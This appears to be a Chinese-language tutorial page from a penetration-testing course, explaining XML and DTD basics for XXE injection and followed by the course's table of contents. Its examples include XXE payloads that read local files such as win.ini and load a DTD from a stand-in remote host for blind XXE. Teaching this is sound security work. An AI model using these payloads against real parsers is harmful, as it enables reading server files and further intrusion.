[TOC]
XXE(XML External Entity Injection) 全稱為 XML 外部實體注入
如果使用的php中libxml低于2.9.1,或設置了`libxml_disable_entity_loader(FALSE)`,就會造成XXE漏洞
?**學習參考地址:** https://xz.aliyun.com/t/3357
## XML和DTD知識
XML文檔結構
* XML文檔必須有一個根元素
* XML元素都必須有一個關閉標簽
* XML標簽對大小寫敏感
* XML元素必須被正確的嵌套
* XML屬性值必須加引號
### XML基礎知識
略
### XML外部實體
1. 什么是XML外部實體?
兩個采用不同技術棧的系統可以通過XML進行通信和交換數據。
在解析外部實體的過程中,XML解析器可以根據URL中指定的方案(協議)來查詢各種網絡協議和服務(DNS,FTP,HTTP,SMB等)。
外部實體對于在文檔中創建動態引用非常有用,這樣對引用資源所做的任何更改都會在文檔中自動更新。
2. 什么是XML外部實體攻擊?
在處理外部實體時,可以針對應用程序啟動許多攻擊。
這些攻擊包括泄露本地系統文件,或利用各種方案的網絡訪問功能來操縱內部應用程序。
通過將這些攻擊與其他實現缺陷相結合,這些攻擊的范圍可以擴展到客戶端內存損壞,任意代碼執行,甚至服務中斷。
## DTD基礎知識
DTD(Document Type Definition)即文檔類型定義,用來為 XML 文檔定義語義約束。
可以嵌入在 XML 文檔中(內部聲明),也可以獨立的放在一個文件中(外部引用)。
參考鏈接: http://www.w3school.com.cn/dtd/index.asp
DTD引用方式(簡要了解):
```xml
#1. DTD 內部聲明
<!DOCTYPE 根元素 [元素聲明] >
#2. DTD 外部引用
<!DOCTYPE 根元素名稱 SYSTEM "外部DTD的URI" >
#3. 引用公共DTD
<!DOCTYPE 根元素名稱 PUBLIC "DTD標識名" "公用DTD的URI" >
```
### 內部實體和外部實體
實體分為兩種,內部實體和外部實體。
* 內部實體語法和示例:
```xml
# 內部實體定義語法
<!ENTITY 實體名稱 "實體的值">
#示例
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "www.baidu.com" >
]>
<foo>&xxe;</foo> //調用
```
* 外部實體語法和示例:
外部實體需要加SYSTEM關鍵字
```xml
# 外部實體定義語法
<!ENTITY 實體名稱 SYSTEM "URI/URL">
#示例
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >
]>
<foo>&xxe;</foo> //調用
```
### 通用實體和參數實體
實體也可以分成通用實體和參數實體
1. 通用實體
在DTD中定義,在XML文檔中用&引用
示例代碼:
```xml
<!DOCTYPE updateProfile [
<!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]>
<updateProfile>
...
<lastname>&file;</lastname>
...
</updateProfile>
```
2. 參數實體:
* 參數實體只能在DTD中定義和引用
* 用`% 實體名`定義,用`% 實體名;`引用
* 參數實體的聲明可以引用其他實體
* 參數實體也可以外部引用
語法和示例代碼:
```xml
#語法
<!ENTITY % 實體名稱 "實體的值">
<!ENTITY % 實體名稱 SYSTEM "URI">
#示例
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://x.x.x.x:81/evils.dtd" > //定義參數實體并引用其他實體
%xxe; //引用參數實體,可調出url中的dtd的內容
]>
<foo>&evil;</foo> //引用參數實體url中dtd內的實體
#外部實體evil中的內容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
```
參數實體在我們 Blind XXE 中起到了至關重要的作用
- src導航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查詢
- 備案信息查詢
- 信用信息查詢
- IP反查站點的站
- 瀏覽器插件
- 收集子域名信息
- 在線平臺
- 工具枚舉
- ssl與證書透明度
- DNS歷史解析
- DNS域傳送漏洞
- C段探測
- JS文件域名&ip探測
- 搜索引擎&情報社區
- google黑客
- 威脅情報
- 鐘馗之眼
- 收集相關應用信息
- 微信公眾號&微博
- APP收集&反編譯
- 收集常用端口信息
- 常見端口&解析&總結
- 掃描工具
- 網絡空間引擎搜索
- 瀏覽器插件
- nmap掃描
- 收集敏感信息
- 源碼泄露
- 郵箱信息收集
- 備份文件泄露
- 目錄&后臺掃描
- 公網網盤
- 歷史資產
- 指紋&WAF&CDN識別
- 指紋識別
- CDN識別
- 繞過CDN查找真實IP
- WAF識別
- 漏洞資源和社工
- 漏洞公共資源庫
- 社會工程
- 資產梳理
- 各種對滲透有幫助的平臺
- 掃描器
- 掃描器對比
- AppScan(IBM)_web和系統
- AWVS_web掃描
- X-Scan_系統掃描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_綠盟_web
- 安恒明鑒
- Nessus_系統
- nexpose_系統
- 啟明天鏡_web_系統
- SQL注入
- 常用函數
- sql注入步驟
- union注入和information_schema庫
- 函數和報錯注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解決方案
- Access數據庫注入
- MSSQL數據庫注入
- MYSQL數據庫注入
- 神器SQLmap
- xss跨站腳本攻擊
- xss原理和分類
- xss案例和修復
- xss繞過技巧
- xss案例
- 文件上傳下載包含
- 常有用文件路徑
- 文件上傳漏洞
- 文件下載漏洞
- 文件包含漏洞
- upload-labs上傳漏洞練習
- XXE、SSRF、CSRF
- SSRF原理基礎
- SSRF案例實戰
- CSRF原理基礎
- CSRF案例及防范
- XXE之XML_DTD基礎
- XXE之payload與修復
- XXE結合SSRF
- 遠程命令執行與反序列化
- 遠程命令和代碼執行漏洞
- 反序列化漏洞
- 驗證碼與暴力破解
- 爆破與驗證碼原理
- CS架構暴力破解
- BS架構暴力破解
- WEB編輯器漏洞
- 編輯器漏洞基礎
- Ewebeditor編輯器
- FCKeditor編輯器
- 其他編輯器
- web中間件漏洞
- 中間件解析漏洞
- Tomcat常見的漏洞總結
- Jboss漏洞利用總結
- Weblogic漏洞利用總結
- WEB具體步驟
- 旁注和越權
- CDN繞過
- 越權與邏輯漏洞
- WEB應用常見其他漏洞
- WEB登陸頁面滲透思路
- 獲取WEBshell思路
- 社工、釣魚、apt
- 社工和信息收集
- 域名欺騙
- 釣魚郵件
- 一些釣魚用的掛馬工具
- 代碼審計
- 代碼審計工具
- WAF繞過
- WAF基礎及云WAF
- 各種WAF繞過方法
- 繞過WAF上傳文件
- 系統提權
- windows系統提權
- linux系統提權
- 數據庫提權操作系統
- 內網橫向滲透
- 內網穿透方式
- 一些內網第三方應用提權
- ARP與DOS
- ARP欺騙
- DOS與DDOS
- 一些DOS工具